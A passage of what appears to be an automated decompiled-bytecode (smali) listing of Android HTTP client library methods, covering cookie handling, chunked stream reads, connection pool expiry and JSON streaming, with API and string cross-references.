        62invoke-virtual {p1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
        63move-result v2
        64if-eqz v2, :cond_4d
        65cond_4b: move-object v8, v0
        66goto/16 :goto_4e
        67cond_4d: move-object v8, p1
        68goto_4e: move-object v6, v1
        69move-object v7, v3
        70goto/16 :goto_54
        71cond_51: move-object v6, v0
        72move-object v7, v6
        73move-object v8, v7
        74goto_54: if-eqz p2, :cond_5a
        76invoke-virtual {p2}, Ljava/lang/Object;->toString()Ljava/lang/String;
        77move-result-object v0
        78cond_5a: move-object v9, v0
        79new-instance p1, Lcz/msebera/android/httpclient/util/VersionInfo;
        80move-object v4, p1
        81move-object v5, p0
        83invoke-direct/range {v4 .. v9}, Lcz/msebera/android/httpclient/util/VersionInfo;-><init>(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
        84return-object p1
        Cross References
        APIs
        • java.lang.String.compareTo
        • java.lang.String.indexOf
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.lang.String.indexOf
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.lang.String.compareToIgnoreCase
        • java.lang.String.compareTo
        Strings
        • .local
        • /
        Position Instruction Meta Information
        1invoke-interface {p1}, Lcz/msebera/android/httpclient/cookie/Cookie;->getName()Ljava/lang/String;
        2move-result-object v0
        4invoke-interface {p2}, Lcz/msebera/android/httpclient/cookie/Cookie;->getName()Ljava/lang/String;
        5move-result-object v1
        7invoke-virtual {v0, v1}, Ljava/lang/String;->compareTo(Ljava/lang/String;)I
        8move-result v0
        9if-nez v0, :cond_55
        11invoke-interface {p1}, Lcz/msebera/android/httpclient/cookie/Cookie;->getDomain()Ljava/lang/String;
        12move-result-object v0
        13const/4 v1, -0x1
        14const/16 v2, 0x2e
        15if-nez v0, :cond_1a
        17const-string v0, ""
        18goto/16 :goto_31
        19cond_1a:
        20invoke-virtual {v0, v2}, Ljava/lang/String;->indexOf(I)I
        21move-result v3
        22if-ne v3, v1, :cond_31
        23new-instance v3, Ljava/lang/StringBuilder;
        25invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
        27invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        29const-string v0, ".local"
        31invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        33invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        34move-result-object v0
        35goto_31:
        36invoke-interface {p2}, Lcz/msebera/android/httpclient/cookie/Cookie;->getDomain()Ljava/lang/String;
        37move-result-object v3
        38if-nez v3, :cond_3a
        40const-string v3, ""
        41goto/16 :goto_51
        42cond_3a:
        43invoke-virtual {v3, v2}, Ljava/lang/String;->indexOf(I)I
        44move-result v2
        45if-ne v2, v1, :cond_51
        46new-instance v1, Ljava/lang/StringBuilder;
        48invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
        50invoke-virtual {v1, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        52const-string v2, ".local"
        54invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        56invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        57move-result-object v3
        58goto_51:
        59invoke-virtual {v0, v3}, Ljava/lang/String;->compareToIgnoreCase(Ljava/lang/String;)I
        60move-result v0
        61cond_55: if-nez v0, :cond_6b
        63invoke-interface {p1}, Lcz/msebera/android/httpclient/cookie/Cookie;->getPath()Ljava/lang/String;
        64move-result-object p1
        65if-nez p1, :cond_5f
        67const-string p1, "/"
        68cond_5f:
        69invoke-interface {p2}, Lcz/msebera/android/httpclient/cookie/Cookie;->getPath()Ljava/lang/String;
        70move-result-object p2
        71if-nez p2, :cond_67
        73const-string p2, "/"
        74cond_67:
        75invoke-virtual {p1, p2}, Ljava/lang/String;->compareTo(Ljava/lang/String;)I
        76move-result v0
        77cond_6b: return v0
        Cross References
        APIs
        • cz.msebera.android.httpclient.impl.io.ChunkedInputStream.nextChunk
        • java.lang.Math.min
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • cz.msebera.android.httpclient.TruncatedChunkException.<init>
        • java.io.IOException.<init>
        Strings
        • Truncated chunk ( expected size:
        • ; actual size:
        • )
        • Attempted read from closed stream.
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Throws;
        1value = {
        2Ljava/io/IOException;
        3}
        4.end annotation
        5iget-boolean v0, p0, Lcz/msebera/android/httpclient/impl/io/ChunkedInputStream;->closed:Z
        6if-nez v0, :cond_62
        7iget-boolean v0, p0, Lcz/msebera/android/httpclient/impl/io/ChunkedInputStream;->eof:Z
        8const/4 v1, -0x1
        9if-eqz v0, :cond_a
        10return v1
        11cond_a: iget v0, p0, Lcz/msebera/android/httpclient/impl/io/ChunkedInputStream;->state:I
        12const/4 v2, 0x2
        13if-eq v0, v2, :cond_17
        15invoke-direct {p0}, Lcz/msebera/android/httpclient/impl/io/ChunkedInputStream;->nextChunk()V
        16iget-boolean v0, p0, Lcz/msebera/android/httpclient/impl/io/ChunkedInputStream;->eof:Z
        17if-eqz v0, :cond_17
        18return v1
        19cond_17:
        20iget-object v0, p0, Lcz/msebera/android/httpclient/impl/io/ChunkedInputStream;->in:Lcz/msebera/android/httpclient/io/SessionInputBuffer;
        21iget v2, p0, Lcz/msebera/android/httpclient/impl/io/ChunkedInputStream;->chunkSize:I
        22iget v3, p0, Lcz/msebera/android/httpclient/impl/io/ChunkedInputStream;->pos:I
        23sub-int/2addr v2, v3
        25invoke-static {p3, v2}, Ljava/lang/Math;->min(II)I
        26move-result p3
        28invoke-interface {v0, p1, p2, p3}, Lcz/msebera/android/httpclient/io/SessionInputBuffer;->read([BII)I
        29move-result p1
        30if-eq p1, v1, :cond_37
        31iget p2, p0, Lcz/msebera/android/httpclient/impl/io/ChunkedInputStream;->pos:I
        32add-int/2addr p2, p1
        33iput p2, p0, Lcz/msebera/android/httpclient/impl/io/ChunkedInputStream;->pos:I
        34iget p2, p0, Lcz/msebera/android/httpclient/impl/io/ChunkedInputStream;->pos:I
        35iget p3, p0, Lcz/msebera/android/httpclient/impl/io/ChunkedInputStream;->chunkSize:I
        36if-lt p2, p3, :cond_36
        37const/4 p2, 0x3
        38iput p2, p0, Lcz/msebera/android/httpclient/impl/io/ChunkedInputStream;->state:I
        39cond_36: return p1
        40cond_37: const/4 p1, 0x1
        41iput-boolean p1, p0, Lcz/msebera/android/httpclient/impl/io/ChunkedInputStream;->eof:Z
        42new-instance p1, Lcz/msebera/android/httpclient/TruncatedChunkException;
        43new-instance p2, Ljava/lang/StringBuilder;
        45invoke-direct {p2}, Ljava/lang/StringBuilder;-><init>()V
        47const-string p3, "Truncated chunk ( expected size: "
        49invoke-virtual {p2, p3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        50iget p3, p0, Lcz/msebera/android/httpclient/impl/io/ChunkedInputStream;->chunkSize:I
        52invoke-virtual {p2, p3}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
        54const-string p3, "; actual size: "
        56invoke-virtual {p2, p3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        57iget p3, p0, Lcz/msebera/android/httpclient/impl/io/ChunkedInputStream;->pos:I
        59invoke-virtual {p2, p3}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
        61const-string p3, ")"
        63invoke-virtual {p2, p3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        65invoke-virtual {p2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        66move-result-object p2
        68invoke-direct {p1, p2}, Lcz/msebera/android/httpclient/TruncatedChunkException;-><init>(Ljava/lang/String;)V
        69throw p1
        70cond_62: new-instance p1, Ljava/io/IOException;
        72const-string p2, "Attempted read from closed stream."
        74invoke-direct {p1, p2}, Ljava/io/IOException;-><init>(Ljava/lang/String;)V
        75throw p1
        Cross References
        APIs
        • java.lang.System.currentTimeMillis
        • java.util.concurrent.locks.Lock.lock
        • java.util.Queue.iterator
        • java.util.Iterator.hasNext
        • java.util.Iterator.next
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.util.Date.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.util.Iterator.remove
        • java.util.concurrent.locks.Lock.unlock
        Strings
        • Closing expired connections
        • Closing connection expired @
        Position Instruction Meta Information
        1iget-object v0, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        3const-string v1, "Closing expired connections"
        5invoke-virtual {v0, v1}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        7invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
        8move-result-wide v0
        10iget-object v2, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->poolLock:Ljava/util/concurrent/locks/Lock;
        12invoke-interface {v2}, Ljava/util/concurrent/locks/Lock;->lock()V
        13try_start_10:
        14iget-object v2, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->freeConnections:Ljava/util/Queue;
        16invoke-interface {v2}, Ljava/util/Queue;->iterator()Ljava/util/Iterator;
        17move-result-object v2
        18cond_16:
        19invoke-interface {v2}, Ljava/util/Iterator;->hasNext()Z
        20move-result v3
        21if-eqz v3, :cond_56
        23invoke-interface {v2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
        24move-result-object v3
        25check-cast v3, Lcz/msebera/android/httpclient/impl/conn/tsccm/BasicPoolEntry;
        27invoke-virtual {v3, v0, v1}, Lcz/msebera/android/httpclient/impl/conn/tsccm/BasicPoolEntry;->isExpired(J)Z
        28move-result v4
        29if-eqz v4, :cond_16
        31iget-object v4, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        33invoke-virtual {v4}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->isDebugEnabled()Z
        34move-result v4
        35if-eqz v4, :cond_4f
        37iget-object v4, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        38new-instance v5, Ljava/lang/StringBuilder;
        40invoke-direct {v5}, Ljava/lang/StringBuilder;-><init>()V
        42const-string v6, "Closing connection expired @ "
        44invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        45new-instance v6, Ljava/util/Date;
        47invoke-virtual {v3}, Lcz/msebera/android/httpclient/impl/conn/tsccm/BasicPoolEntry;->getExpiry()J
        48move-result-wide v7
        50invoke-direct {v6, v7, v8}, Ljava/util/Date;-><init>(J)V
        52invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        54invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        55move-result-object v5
        57invoke-virtual {v4, v5}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        58cond_4f:
        59invoke-interface {v2}, Ljava/util/Iterator;->remove()V
        61invoke-virtual {p0, v3}, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->deleteEntry(Lcz/msebera/android/httpclient/impl/conn/tsccm/BasicPoolEntry;)V
        62try_end_55: goto/16 :goto_16
        63cond_56:
        64iget-object v0, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->poolLock:Ljava/util/concurrent/locks/Lock;
        66invoke-interface {v0}, Ljava/util/concurrent/locks/Lock;->unlock()V
        67return-void
        68catchall_5c: move-exception v0
        70iget-object v1, p0, Lcz/msebera/android/httpclient/impl/conn/tsccm/ConnPoolByRoute;->poolLock:Ljava/util/concurrent/locks/Lock;
        72invoke-interface {v1}, Ljava/util/concurrent/locks/Lock;->unlock()V
        73throw v0
        APIs
        • java.lang.UnsupportedOperationException.<init>
        • java.lang.String.getBytes
        Strings
        • Unsupported operation in this implementation.
        • true
        • false
        • null
        • name
        • type
        • contents
        • Content-Type
        • application/json
        • Content-Encoding
        • gzip
        Position Instruction Meta Information
        0new-instance v0, Ljava/lang/UnsupportedOperationException;
        2const-string v1, "Unsupported operation in this implementation."
        4invoke-direct {v0, v1}, Ljava/lang/UnsupportedOperationException;-><init>(Ljava/lang/String;)V
        5sput-object v0, Lcom/loopj/android/http/JsonStreamerEntity;->ERR_UNSUPPORTED:Ljava/lang/UnsupportedOperationException;
        7const-string v0, "true"
        9invoke-virtual {v0}, Ljava/lang/String;->getBytes()[B
        10move-result-object v0
        11sput-object v0, Lcom/loopj/android/http/JsonStreamerEntity;->JSON_TRUE:[B
        13const-string v0, "false"
        15invoke-virtual {v0}, Ljava/lang/String;->getBytes()[B
        16move-result-object v0
        17sput-object v0, Lcom/loopj/android/http/JsonStreamerEntity;->JSON_FALSE:[B
        19const-string v0, "null"
        21invoke-virtual {v0}, Ljava/lang/String;->getBytes()[B
        22move-result-object v0
        23sput-object v0, Lcom/loopj/android/http/JsonStreamerEntity;->JSON_NULL:[B
        25const-string v0, "name"
        27invoke-static {v0}, Lcom/loopj/android/http/JsonStreamerEntity;->escape(Ljava/lang/String;)[B
        28move-result-object v0
        29sput-object v0, Lcom/loopj/android/http/JsonStreamerEntity;->STREAM_NAME:[B
        31const-string v0, "type"
        33invoke-static {v0}, Lcom/loopj/android/http/JsonStreamerEntity;->escape(Ljava/lang/String;)[B
        34move-result-object v0
        35sput-object v0, Lcom/loopj/android/http/JsonStreamerEntity;->STREAM_TYPE:[B
        37const-string v0, "contents"
        39invoke-static {v0}, Lcom/loopj/android/http/JsonStreamerEntity;->escape(Ljava/lang/String;)[B
        40move-result-object v0
        41sput-object v0, Lcom/loopj/android/http/JsonStreamerEntity;->STREAM_CONTENTS:[B
        42new-instance v0, Lcz/msebera/android/httpclient/message/BasicHeader;
        44const-string v1, "Content-Type"
        46const-string v2, "application/json"
        48invoke-direct {v0, v1, v2}, Lcz/msebera/android/httpclient/message/BasicHeader;-><init>(Ljava/lang/String;Ljava/lang/String;)V
        49sput-object v0, Lcom/loopj/android/http/JsonStreamerEntity;->HEADER_JSON_CONTENT:Lcz/msebera/android/httpclient/Header;
        50new-instance v0, Lcz/msebera/android/httpclient/message/BasicHeader;
        52const-string v1, "Content-Encoding"
        54const-string v2, "gzip"
        56invoke-direct {v0, v1, v2}, Lcz/msebera/android/httpclient/message/BasicHeader;-><init>(Ljava/lang/String;Ljava/lang/String;)V
        57sput-object v0, Lcom/loopj/android/http/JsonStreamerEntity;->HEADER_GZIP_ENCODING:Lcz/msebera/android/httpclient/Header;
        58return-void
        APIs
        • java.lang.String.trim
        • java.lang.String.length
        • java.lang.Integer.parseInt
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.NumberFormatException.getMessage
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • cz.msebera.android.httpclient.cookie.MalformedCookieException.<init>
        Strings
        • Cookie
        • Invalid version:
        • Blank value for version attribute
        • Missing value for version attribute
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Throws;
        1value = {
        2Lcz/msebera/android/httpclient/cookie/MalformedCookieException;
        3}
        4.end annotation
        6const-string v0, "Cookie"
        8invoke-static {p1, v0}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        9if-eqz p2, :cond_3d
        11invoke-virtual {p2}, Ljava/lang/String;->trim()Ljava/lang/String;
        12move-result-object v0
        14invoke-virtual {v0}, Ljava/lang/String;->length()I
        15move-result v0
        16if-eqz v0, :cond_35
        17try_start_11:
        18invoke-static {p2}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
        19move-result p2
        21invoke-interface {p1, p2}, Lcz/msebera/android/httpclient/cookie/SetCookie;->setVersion(I)V
        22try_end_18: return-void
        23catch_19: move-exception p1
        24new-instance p2, Lcz/msebera/android/httpclient/cookie/MalformedCookieException;
        25new-instance v0, Ljava/lang/StringBuilder;
        27invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
        29const-string v1, "Invalid version: "
        31invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        33invoke-virtual {p1}, Ljava/lang/NumberFormatException;->getMessage()Ljava/lang/String;
        34move-result-object p1
        36invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        38invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        39move-result-object p1
        41invoke-direct {p2, p1}, Lcz/msebera/android/httpclient/cookie/MalformedCookieException;-><init>(Ljava/lang/String;)V
        42throw p2
        43cond_35: new-instance p1, Lcz/msebera/android/httpclient/cookie/MalformedCookieException;
        45const-string p2, "Blank value for version attribute"
        47invoke-direct {p1, p2}, Lcz/msebera/android/httpclient/cookie/MalformedCookieException;-><init>(Ljava/lang/String;)V
        48throw p1
        49cond_3d: new-instance p1, Lcz/msebera/android/httpclient/cookie/MalformedCookieException;
        51const-string p2, "Missing value for version attribute"
        53invoke-direct {p1, p2}, Lcz/msebera/android/httpclient/cookie/MalformedCookieException;-><init>(Ljava/lang/String;)V
        54throw p1
        Cross References
        APIs
        • java.net.URI.toASCIIString
        • java.net.URL.<init>
        • java.net.URL.getProtocol
        • java.net.URL.getHost
        • java.net.URL.getPort
        • java.net.URL.getPath
        • java.net.URL.getQuery
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.net.URL.<init>
        • java.net.URL.toString
        Strings
        • ?
        Position Instruction Meta Information
        0try_start_0:
        1sget-object v0, Lcz/msebera/android/httpclient/impl/client/cache/CacheKeyGenerator;->BASE_URI:Ljava/net/URI;
        3invoke-static {v0, p1}, Lcz/msebera/android/httpclient/client/utils/URIUtils;->resolve(Ljava/net/URI;Ljava/lang/String;)Ljava/net/URI;
        4move-result-object v0
        5new-instance v1, Ljava/net/URL;
        7invoke-virtual {v0}, Ljava/net/URI;->toASCIIString()Ljava/lang/String;
        8move-result-object v0
        10invoke-direct {v1, v0}, Ljava/net/URL;-><init>(Ljava/lang/String;)V
        12invoke-virtual {v1}, Ljava/net/URL;->getProtocol()Ljava/lang/String;
        13move-result-object v0
        15invoke-virtual {v1}, Ljava/net/URL;->getHost()Ljava/lang/String;
        16move-result-object v2
        18invoke-virtual {v1}, Ljava/net/URL;->getPort()I
        19move-result v3
        21invoke-direct {p0, v3, v0}, Lcz/msebera/android/httpclient/impl/client/cache/CacheKeyGenerator;->canonicalizePort(ILjava/lang/String;)I
        22move-result v3
        24invoke-virtual {v1}, Ljava/net/URL;->getPath()Ljava/lang/String;
        25move-result-object v4
        27invoke-virtual {v1}, Ljava/net/URL;->getQuery()Ljava/lang/String;
        28move-result-object v1
        29if-eqz v1, :cond_3d
        30new-instance v5, Ljava/lang/StringBuilder;
        32invoke-direct {v5}, Ljava/lang/StringBuilder;-><init>()V
        34invoke-virtual {v5, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        36const-string v4, "?"
        38invoke-virtual {v5, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        40invoke-virtual {v5, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        42invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        43move-result-object v4
        44cond_3d: new-instance v1, Ljava/net/URL;
        46invoke-direct {v1, v0, v2, v3, v4}, Ljava/net/URL;-><init>(Ljava/lang/String;Ljava/lang/String;ILjava/lang/String;)V
        48invoke-virtual {v1}, Ljava/net/URL;->toString()Ljava/lang/String;
        49move-result-object v0
        50try_end_46: return-object v0
        51catch_47: return-object p1
        52catch_48: return-object p1
        Cross References
        APIs
        • java.lang.Class.getClassLoader
        • java.lang.System.getProperty
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        Strings
        • UNAVAILABLE
        • java.version
        • /
        • (Java 1.5 minimum; Java/
        • )
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Signature;
        1value = {
        2"(",
        3"Ljava/lang/String;",
        4"Ljava/lang/String;",
        5"Ljava/lang/Class<",
        6"*>;)",
        7"Ljava/lang/String;"
        8}
        9.end annotation
        11invoke-virtual {p2}, Ljava/lang/Class;->getClassLoader()Ljava/lang/ClassLoader;
        12move-result-object p2
        14invoke-static {p1, p2}, Lcz/msebera/android/httpclient/util/VersionInfo;->loadVersionInfo(Ljava/lang/String;Ljava/lang/ClassLoader;)Lcz/msebera/android/httpclient/util/VersionInfo;
        15move-result-object p1
        16if-eqz p1, :cond_f
        18invoke-virtual {p1}, Lcz/msebera/android/httpclient/util/VersionInfo;->getRelease()Ljava/lang/String;
        19move-result-object p1
        20goto/16 :goto_11
        21cond_f:
        22const-string p1, "UNAVAILABLE"
        23goto_11:
        24const-string p2, "java.version"
        26invoke-static {p2}, Ljava/lang/System;->getProperty(Ljava/lang/String;)Ljava/lang/String;
        27move-result-object p2
        28new-instance v0, Ljava/lang/StringBuilder;
        30invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
        32invoke-virtual {v0, p0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        34const-string p0, "/"
        36invoke-virtual {v0, p0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        38invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        40const-string p0, " (Java 1.5 minimum; Java/"
        42invoke-virtual {v0, p0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        44invoke-virtual {v0, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        46const-string p0, ")"
        48invoke-virtual {v0, p0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        50invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        51move-result-object p0
        52return-object p0
        Cross References
        APIs
        • java.lang.String.toUpperCase
        • java.lang.String.endsWith
        Strings
        • .COM
        • .EDU
        • .NET
        • .GOV
        • .MIL
        • .ORG
        • .INT
        Position Instruction Meta Information
        1sget-object v0, Ljava/util/Locale;->ENGLISH:Ljava/util/Locale;
        3invoke-virtual {p0, v0}, Ljava/lang/String;->toUpperCase(Ljava/util/Locale;)Ljava/lang/String;
        4move-result-object p0
        6const-string v0, ".COM"
        8invoke-virtual {p0, v0}, Ljava/lang/String;->endsWith(Ljava/lang/String;)Z
        9move-result v0
        10if-nez v0, :cond_41
        12const-string v0, ".EDU"
        14invoke-virtual {p0, v0}, Ljava/lang/String;->endsWith(Ljava/lang/String;)Z
        15move-result v0
        16if-nez v0, :cond_41
        18const-string v0, ".NET"
        20invoke-virtual {p0, v0}, Ljava/lang/String;->endsWith(Ljava/lang/String;)Z
        21move-result v0
        22if-nez v0, :cond_41
        24const-string v0, ".GOV"
        26invoke-virtual {p0, v0}, Ljava/lang/String;->endsWith(Ljava/lang/String;)Z
        27move-result v0
        28if-nez v0, :cond_41
        30const-string v0, ".MIL"
        32invoke-virtual {p0, v0}, Ljava/lang/String;->endsWith(Ljava/lang/String;)Z
        33move-result v0
        34if-nez v0, :cond_41
        36const-string v0, ".ORG"
        38invoke-virtual {p0, v0}, Ljava/lang/String;->endsWith(Ljava/lang/String;)Z
        39move-result v0
        40if-nez v0, :cond_41
        42const-string v0, ".INT"
        44invoke-virtual {p0, v0}, Ljava/lang/String;->endsWith(Ljava/lang/String;)Z
        45move-result p0
        46if-eqz p0, :cond_3f
        47goto/16 :goto_41
        48cond_3f: const/4 p0, 0x0
        49goto/16 :goto_42
        50goto_41: const/4 p0, 0x1
        51goto_42: return p0
        Cross References
        APIs
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        Strings
        • [id:
        • ]
        • [route:
        • [state:
        Position Instruction Meta Information
        0new-instance v0, Ljava/lang/StringBuilder;
        2invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
        4const-string v1, "[id: "
        6invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        8invoke-virtual {p1}, Lcz/msebera/android/httpclient/impl/conn/HttpPoolEntry;->getId()Ljava/lang/String;
        9move-result-object v1
        11invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        13const-string v1, "]"
        15invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        17const-string v1, "[route: "
        19invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        21invoke-virtual {p1}, Lcz/msebera/android/httpclient/impl/conn/HttpPoolEntry;->getRoute()Ljava/lang/Object;
        22move-result-object v1
        24invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        26const-string v1, "]"
        28invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        30invoke-virtual {p1}, Lcz/msebera/android/httpclient/impl/conn/HttpPoolEntry;->getState()Ljava/lang/Object;
        31move-result-object p1
        32if-eqz p1, :cond_3a
        34const-string v1, "[state: "
        36invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        38invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        40const-string p1, "]"
        42invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        43cond_3a:
        44invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        45move-result-object p1
        46return-object p1
        Cross References
        APIs
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        Strings
        • [id:
        • ]
        • [route:
        • [state:
        Position Instruction Meta Information
        0new-instance v0, Ljava/lang/StringBuilder;
        2invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
        4const-string v1, "[id: "
        6invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        8invoke-virtual {p1}, Lcz/msebera/android/httpclient/impl/conn/CPoolEntry;->getId()Ljava/lang/String;
        9move-result-object v1
        11invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        13const-string v1, "]"
        15invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        17const-string v1, "[route: "
        19invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        21invoke-virtual {p1}, Lcz/msebera/android/httpclient/impl/conn/CPoolEntry;->getRoute()Ljava/lang/Object;
        22move-result-object v1
        24invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        26const-string v1, "]"
        28invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        30invoke-virtual {p1}, Lcz/msebera/android/httpclient/impl/conn/CPoolEntry;->getState()Ljava/lang/Object;
        31move-result-object p1
        32if-eqz p1, :cond_3a
        34const-string v1, "[state: "
        36invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        38invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        40const-string p1, "]"
        42invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        43cond_3a:
        44invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        45move-result-object p1
        46return-object p1
        APIs
        • android.content.SharedPreferences.edit
        • java.util.concurrent.ConcurrentHashMap.keySet
        • java.util.Set.iterator
        • java.util.Iterator.hasNext
        • java.util.Iterator.next
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • android.content.SharedPreferences$Editor.remove
        • android.content.SharedPreferences$Editor.commit
        • java.util.concurrent.ConcurrentHashMap.clear
        Strings
        • cookie_
        • names
        Position Instruction Meta Information
        1iget-object v0, p0, Lcom/loopj/android/http/PersistentCookieStore;->cookiePrefs:Landroid/content/SharedPreferences;
        3invoke-interface {v0}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
        4move-result-object v0
